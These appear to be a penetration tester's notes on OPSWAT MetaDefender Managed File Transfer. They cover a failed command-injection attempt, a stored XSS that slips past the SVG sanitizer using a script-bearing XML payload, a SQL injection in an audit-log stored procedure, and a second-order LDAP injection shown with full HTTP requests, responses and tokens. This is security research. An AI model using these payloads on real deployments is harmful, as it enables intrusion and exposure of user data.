I attempted to perform Remote Code Execution (RCE) using the payload le11-d9448//#ipconfig | dir > test.txt | REM, but it was unsuccessful.

Command to recover the service:

"C:\Program Files\OPSWAT\MetaDefender Managed File Transfer\Tools\ChangeProtocol.exe" http://le11-d944:8010 "True" "10" "10" "20" "True" "False" "80"

Stored XSS

The application uses mganss/HtmlSanitizer library for sanitizing the SVG image. However, the custom Sanitize function only sanitizes if there is svg tag:

public void Sanitize(Stream imgStream)
{
	string text = new StreamReader(imgStream).ReadToEnd();
	if (Regex.Match(text, "<svg.*?</svg", RegexOptions.IgnoreCase | RegexOptions.Singleline).Length > 0)
	{
		string text2 = sanitizer.Sanitize(text);
		imgStream.Position = 0L;
		imgStream.SetLength(text2.Length);
		StreamWriter streamWriter = new StreamWriter(imgStream);
		streamWriter.Write(text2);
		streamWriter.Flush();
		imgStream.Position = 0L;
	}
}

Additionally, the response Content-Type is application/svg+xml. So, use the payload that does not have svg and is a XML document: PayloadsAllTheThings/XSS Injection/Files/xss.xml at master ยท swisskyrepo/PayloadsAllTheThings:

<html>
	<head></head>
	<body>
		<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
		<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
		<info>
		  <name>
		    <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
		  </name>
		    <description>
		      <value>Hello</value>
		    </description>
		    <url>
		      <value>http://google.com</value>
		    </url>
		</info>
	</body>
</html>

Request:

Result:

Moreover, we can just use the something:script and a:script tags.

SQL Injection

Via the find function of the audit log. Specifically, via the find and findB64 headers of the audit log.

The vulnerable code is in a procedure named vaultAuditLogSelectAllByQuery:

IF @filter IS NOT NULL AND @filter <> ''
BEGIN
	SET @sqlString = @sqlString + @filter
 
END

Query functions/store procedures that have string concatenation:

SELECT o.name       AS ObjectName,
       o.type_desc  AS ObjectType,
       m.definition AS ObjectDefinition
FROM sys.sql_modules AS m
         JOIN sys.objects AS o
              ON m.object_id = o.object_id
WHERE m.definition LIKE '%+%'           -- Look for concatenation operator
  AND o.type IN ('P', 'FN', 'IF', 'TF') -- P: Stored Procedure, FN: Scalar Function, IF: Inline Table Function, TF: Table Function
ORDER BY o.type_desc, o.name;

Info

There is potential SQL injection in a feature named ScanResultFromCore.

LDAP Injection

As we know from the Source Code, the _attributeName of the LDAP query is not sanitized. So, we can influence the query by using other operators such as >= and <=.

There is a way to influence the query is via the supervisor filter feature:

public ILdapFilterCondition GetUsersByCustomConditionFilter(string rawCustomCondition)
{
	List<ILdapFilterCondition> list = new List<ILdapFilterCondition>
	{
		new LdapFilterCondition(LdapCompareOperator.Equal, "objectClass", base.DirectoryPropertyNames.UserObjectClass ?? "")
	};
	if (!string.IsNullOrWhiteSpace(rawCustomCondition))
	{
		string[] array = rawCustomCondition.Split("=", 2);
		list.Add(new LdapFilterCondition(LdapCompareOperator.Equal, array[0], array[1]));
	}
	return new LdapCompoundFilterCondition(LdapCombineOperator.And, list);
}

Request:

POST /vault_rest/supervisor/container?type=draft HTTP/1.1
Host: localhost:8010
Content-Length: 287
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://localhost:8010
Referer: http://localhost:8010/supervisor/settings/global-supervisors
Cookie: globals=eyJjdXJyZW50VXNlciI6eyJhdXRoIjp7ImV4cGlyZXMiOiJUdWUsIDE3IERlYyAyMDI0IDA4OjU3OjIxIEdNVCIsInRva2VuIjoiMFZURThEUUJwWFZuVTJzYjdMUFk2emJEMjQ5NklnIn19fQ==
Connection: keep-alive
Authorization: Bearer wKuhQIBEmg2FcXL2dMYjdmvNcVeoFa
 
{
  "supervisors": [],
  "supervisor_groups": [],
  "container_id": "00000000000000000000000000000000",
  "display_name": null,
  "distinguished_name": null,
  "name": null,
  "filter": "telephoneNumber>=0100000000",
  "parent_container_id": "00000000000000000000000000000000",
  "is_excluded_from_supervision_flow": false
}

This is a second-order LDAP injection because we need to make another request to retrieve additional data:

GET /vault_rest/supervisor/container/00000000000000000000000000000000?type=draft HTTP/1.1
Host: localhost:8010
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: application/json, text/plain, */*
Referer: http://localhost:8010/supervisor/settings/approval
Cookie: globals=eyJjdXJyZW50VXNlciI6eyJhdXRoIjp7ImV4cGlyZXMiOiJUdWUsIDE3IERlYyAyMDI0IDA5OjA0OjU4IEdNVCIsInRva2VuIjoiMFZURThEUUJwWFZuVTJzYjdMUFk2emJEMjQ5NklnIn19fQ==
Connection: keep-alive
Authorization: Bearer wKuhQIBEmg2FcXL2dMYjdmvNcVeoFa
HTTP/1.1 200 OK
Server: nginx
Date: Tue, 17 Dec 2024 09:10:06 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Content-Security-Policy: frame-ancestors none;
X-Frame-Options: DENY
Cache-Control: max-age=60, must-revalidate
Content-Length: 553
 
{
  "message": null,
  "ui_message_key": null,
  "container_id": "00000000000000000000000000000000",
  "display_name": null,
  "distinguished_name": null,
  "filter": "telephoneNumber>=0100000000",
  "is_excluded_from_supervision_flow": false,
  "name": null,
  "parent_container_id": "00000000000000000000000000000000",
  "supervisor_groups": [],
  "supervisors": [
    {
      "active_directory": null,
      "id": 18,
      "user_name": "Administrator",
      "container_level": 0
    },
    {
      "active_directory": null,
      "id": 17,
      "user_name": "pentest",
      "container_level": 0
    },
    {
      "active_directory": null,
      "id": 14,
      "user_name": "bob",
      "container_level": 0
    }
  ]
}

The supervisors array contains users with non-empty telephone number.

User Mapping

Important

The User Mapping must be set up on the destination MFT.

The priority is in order:

  1. If a user A on the source MFT has duplicated username with a user A' on the destination MFT, the file will be placed into the folder of the user A'.
  2. In case of there is a mapping for user A on the destination MFT to user B, the file will be uploaded to the folder of the user B.
  3. Else, the file will be placed into the folder of the user that created the API key.

Additionally, the uploaded files will be shared to the administrator user that creates the upload user.

Differences between user-level API key and system-level API key: API Keys - MetaDefender Managed File Transfer.

Resources